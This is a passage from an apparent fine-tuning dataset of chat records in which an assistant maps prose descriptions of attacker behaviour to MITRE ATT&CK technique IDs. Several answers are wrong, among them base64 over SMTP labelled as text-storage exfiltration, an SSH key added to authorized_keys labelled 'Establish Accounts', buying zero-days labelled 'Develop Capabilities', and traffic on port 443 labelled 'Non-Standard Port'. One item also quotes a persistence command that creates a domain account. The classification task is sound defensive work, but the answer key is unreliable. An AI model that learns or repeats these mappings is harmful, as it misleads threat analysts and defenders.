                "content": "The adversary invokes the cloud service's 'revert to previous version' on a compromised virtual machine, removing malicious files and registry changes."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors edited a Group Policy Object to enable unrestricted scripting on user machines."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used the AWS CLI to terminate several EC2 instances, effectively deleting the cloud compute resources."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the launchd API to programmatically register a new daemon that runs a PowerShell script on macOS."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor used Azure PowerShell scripts to generate snapshots of virtual machine disks, enabling persistence of their foothold."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By orchestrating a high‑frequency ping sweep against the victim's ICMP listener, the attacker overwhelms the service's processing queue, causing a denial‑of‑service condition."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During exfiltration, the group intersperses decoy data blobs among the stolen files to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software deposits its components in a hidden .git folder within a legitimate application directory to blend in with version control files."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised credential is used to access an Active Directory domain controller, allowing the adversary to enumerate and exploit further accounts."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan encodes confidential files in base64 and transmits them through outbound SMTP traffic."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a packing tool to compress and encrypt the malware, preventing static analysis tools from reading it."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exfiltration script converts sensitive information to a Base64 string before upload."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber attackers leverage black‑hat SEO techniques, such as link farms and keyword stuffing, to push a fake antivirus download page to the top of search engine results."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary repeatedly triggers a costly image decoding routine in a photo‑sharing app, causing the app to consume all GPU resources and freeze."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group identifies an unpatched WordPress plugin on a public website and uses it to install a web shell for persistent access."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses reg.exe to dump the SAM file content to obtain local user credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries gathered information about the target’s network topology by reviewing published network diagrams."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining foothold on a Docker host, the attacker accessed the host's Docker socket to retrieve the host's cloud authentication tokens, enabling temporary elevated access."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a malicious DLL as a service extension for Terminal Services, causing it to run with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a script that scans for files with extensions .log, .cfg, and .ini, and aggregates them into a zip archive."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom Python tool to dump password hashes from the /etc/shadow file on Linux."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion includes the deployment of a systemd timer that starts a network scanning tool every time the host connects to the internet."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a command to dump the securityd process and parses the output for stored credential entries."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer registers a rogue AppCert DLL, allowing the attacker to execute arbitrary commands during the application's startup."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses SMS messages with base64-encoded payloads to receive commands from the attacker’s phone number."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes inserting a command into the .cshrc file to download and execute additional malware on each login."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool hooks the Credential Manager API to extract passwords entered by users."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a persistent reverse shell over TCP port 443 to communicate with its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers gain SSH access and edit the server's default index file to display a defaced landing page."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor sleeps for 72 hours after installation to avoid sandbox analysis."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors replay captured Kerberos service tickets to gain access to privileged services."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage tool queries the “DomainTrust” registry key to enumerate trusted domains on the system."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies the service registry key permissions to allow a non‑privileged user to write a malicious DLL path, enabling execution when the service starts."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved modifying the organization's PowerShell Desired State Configuration (DSC) scripts to include malicious modules that were deployed site-wide."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a custom script to zip confidential files and push them to a private Dropbox folder via the victim's API token."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group gained FTP access to the external website and altered the CSS and image files to display a defaced graphic and ransom note."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An automated script scrapes the victim's web pages and HTML meta tags to discover linked subdomains and associated domain names."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects a malicious line into the PAM configuration, causing the system to accept a predefined backdoor password for all users."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor enumerates external web pages, blogs, and forums to identify employee names and email addresses related to the target."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised external flash drive to deliver a payload that creates a persistent backdoor on the target's system."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group purchases zero‑day exploits on underground markets to develop new offensive capabilities."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs SSH port forwarding to pivot into internal services behind a firewall."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group buys a legitimate remote administration tool to masquerade as authorized software."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During an intrusion, the adversary triggers the creation of a persistent snapshot of a GCP Compute Engine VM to maintain foothold."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses mshta.exe to execute a malicious .js payload downloaded from a remote server, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the `smbclient -L` command on Linux, the threat actor discovers available network shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used the open-source tool Ansible to deploy a backdoor payload across multiple Linux servers after obtaining valid SSH credentials."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers stage data locally by syncing stolen files to a hidden network share mounted on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes setting up a new SSH key pair and adding the public key to the authorized_keys file of a privileged user."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers duplicate a legitimate SSH key and use it to log in as a trusted account."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs the Windows 'psexec' utility to execute commands on a remote machine within the network."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts stored Outlook PST files from the victim's workstation to harvest email messages."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation module in Metasploit runs the \"command\" payload \"net user hacker /add /domain\" to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage the CredDump tool to read entries from the Windows Credential Manager and harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module reads the Windows system's language pack and keyboard layout settings for localization."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages built‑in Windows scripts such as wmic.exe to run malicious code indirectly, known as System Script Proxy Execution."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to run malicious commands under a higher privilege level."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows Script Host's cscript.exe to run a malicious VBScript that injects code into explorer.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes dumping the securityd memory to recover saved email credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker searches publicly available code repositories and documentation sites for configuration files that might contain hard‑coded credentials."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a persistent bot client on IoT cameras, forming a botnet used for large‑scale DDoS attacks."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised device runs a network discovery script that probes for open ports and services across subnets to chart the victim's network layout."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stages sensitive data by creating a temporary archive in the user's AppData directory."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Windows Credential Guard bypass technique to retrieve secrets from the virtual TPM."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through injection of template syntax into an email generation service, the attacker causes the backend to execute commands on the host system."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a macro that executes a script to change the ACLs on a service executable, allowing the attacker to replace it with a malicious version."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes the 'gcloud iam groups list' command to enumerate cloud groups in GCP."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised third‑party cloud CI/CD pipeline to inject malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deployed a malicious executable named \"chrome.exe \" with a trailing space, exploiting Windows' handling of filenames to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary purchased a domain generation algorithm tool to enable future command‑and‑control communications."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion framework issues WMI calls to read the Security event log and exfiltrate credentials."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts the OAuth access token from the compromised mobile app's storage to impersonate the user."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a vulnerable kernel module, the attacker performed a VM escape from a compromised virtual machine to gain control of the hypervisor host."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses a custom protocol over port 443 to stream stolen files directly to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses a Markdown parser vulnerability to embed HTML that runs when the content is rendered on the platform."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code extracts credentials from Google Cloud Secret Manager after escalating privileges on a compute instance."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
